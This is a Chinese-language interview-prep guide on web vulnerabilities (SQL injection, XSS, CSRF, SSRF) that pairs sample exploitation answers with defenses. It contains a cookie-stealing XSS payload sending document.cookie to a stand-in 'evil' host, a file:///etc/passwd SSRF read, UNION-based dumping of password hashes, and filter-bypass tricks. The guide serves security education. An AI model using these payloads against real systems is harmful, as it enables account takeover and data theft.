Web安全漏洞实战案例：SQL注入、XSS、CSRF、SSRF等原理与利用
本章聚焦面试中最高频的四大-web 安全漏洞。你需要做到：能讲清原理、能再现利用过程、能说出完整防御链。以下先给出通用回答框架，再逐漏洞拆解面试问答。
本章核心指标： SQL注入 → 一次完整的
UNION 或盲注手工测试流程；XSS → 三种类型的区分与 exploitation 范例；CSRF → 校验 + SameSite 机制；SSRF → 内网探测 + 协议绕过。
加分技巧： 面试官不止要你背原理，更想听到手动检测过程、绕过思路、真实场景危害。多用“在一次XX渗透中，我通过XX参数注入……”这样的案例化表达。
---
📌 问题1：请描述一次你发现并利用 SQL 注入漏洞的完整过程。
🎯 面试官考察点
- 是否能区分
UNION注入与盲注 - 是否掌握手工注入及常见 WAF 绕过方法
- 是否理解参数化查询、预编译等根本防御
📐 回答框架（PTS法）
- 发现：通过单引号 / 时间延迟 / 报错信息判断注入点
- 利用：使用
ORDER BY探测字段数，UNION SELECT回显数据 - 绕过：遇到过滤时尝试大小写、注释符、十六进制编码
- 防御：强调使用预编译 + 输入白名单，而非简单转义
💬 简短示例回答
“在一次内部渗透中，我发现登录接口的username参数存在报错注入，报错信息泄露了数据库版本。接着通过UNION SELECT爆出字段数为3，并从information_schema中拉取了管理员密码哈希。最终通过弱口令破解进入后台。修复时推动开发将查询语句改为预编译方式。”
🔍 可能追问
- “如果
UNION被禁用，你会用什么方式继续利用？”（答：布尔盲注或时间盲注） - “MySQL 的
lib_mysqludf_sys提权知道吗？”（答：需要写文件权限，上传udf.so）
⚠️ 避坑提醒： 不要只背工具（SQLMap）参数，面试官期望听到手工流程，尤其对报错 / 布尔 / 时间三种盲注的区分和实际选择。
📌 问题2：如何区分反射型、存储型、DOM型 XSS？你如何构造利用 Payload？
🎯 面试官考察点
- 是否理解三种类型的根本差异（服务端渲染 vs 客户端脚本）
- 能否给出
<script>,onerror,javascript:等典型 Payload - 是否知道 Cookie HttpOnly、CSP 等防御机制的具体绕过限制
📐 回答框架
- 类型辨析：反射型—一次性，存储型—持久化，DOM型—后端不参与
- Payload 示例：
<img src=x onerror=alert(1)>/<svg/onload=alert(1)> - 绕过场景：过滤括号时用
``或String.fromCharCode - 防御：输出编码（HTML实体、JS编码）+ CSP 白名单
💬 简短示例回答
“在某个论坛的评论功能中，我发现留言内容未做HTML实体编码，直接插入了攻击者输入。我尝试了<script>alert(document.cookie)</script>成功弹窗，但Cookie设置了HttpOnly。后改用<img src=x onerror=document.location='http://evil/?c='+document.cookie>进行盗取。修复建议是输出时进行htmlspecialchars编码，并升级CSP策略。”
🔍 可能追问
- “如果服务端对
<script>完全过滤，你还能利用DOM型XSS吗？”（答：可以，通过修改location.hash或innerHTML） - “CSP
script-src 'self'如何绕过？”（答：找页面内已有的JSONP回调或文件上传引入合法JS）
⚠️ 避坑提醒： 避免只回答“XSS就是弹窗”。要强调不同上下文（HTML属性、JS字符串、CSS）下的编码差异。面试官更关注你对语境的理解。
📌 问题3：CSRF 和 SSRF 的核心区别是什么？分别如何防御？
🎯 面试官考察点
- 是否区分受害者角色：CSRF（用户端伪造请求），SSRF（服务端发起请求）
- 是否了解 CSRF 、Referer验证、SameSite Cookie 等防御
- 是否掌握 SSRF 利用内网服务、云元数据接口的攻击思路
📐 回答框架（对比表）
| 维度 | CSRF | SSRF |
|---|---|---|
| 攻击方向 | 攻击者 -> 用户浏览器 -> 目标网站 | 攻击者 -> 服务端 -> 内部网络 |
| 典型利用 | img标签触发转账、改密 | file:/// 读本地文件，dict:// 探测redis |
| 即时防御 | CSRF + SameSite=Strict | 白名单URL、禁用file:///、内网隔离 |
💬 简短示例回答
“在渗透某内部系统时，我发现一个图片处理API并未限制URL协议，可直接请求file:///etc/passwd读取系统文件，这是典型的SSRF。而该系统另一个修改邮箱的接口无CSRF ，我构造了恶意链接诱导管理员点击，成功修改其邮箱并接管账户。修复方案：SSRF端校验URL白名单，CSRF端添加并启用SameSite属性。”
🔍 可能追问
- “如何绕过SSRF的IP黑名单？”（答：使用短域名跳转、
0x、0等IPv4格式） - “CSRF 在AJAX请求中如何携带？如果不足会有什么风险？”（答：可设置请求头，若可预测则存在重放攻击）
⚠️ 避坑提醒： 不要混淆“请求来源验证”（CSRF用）和“输出编码”（XSS用）。回答防御时务必区分服务端侧与客户端侧措施。SSRF的防御重点在于限制协议和IP范围。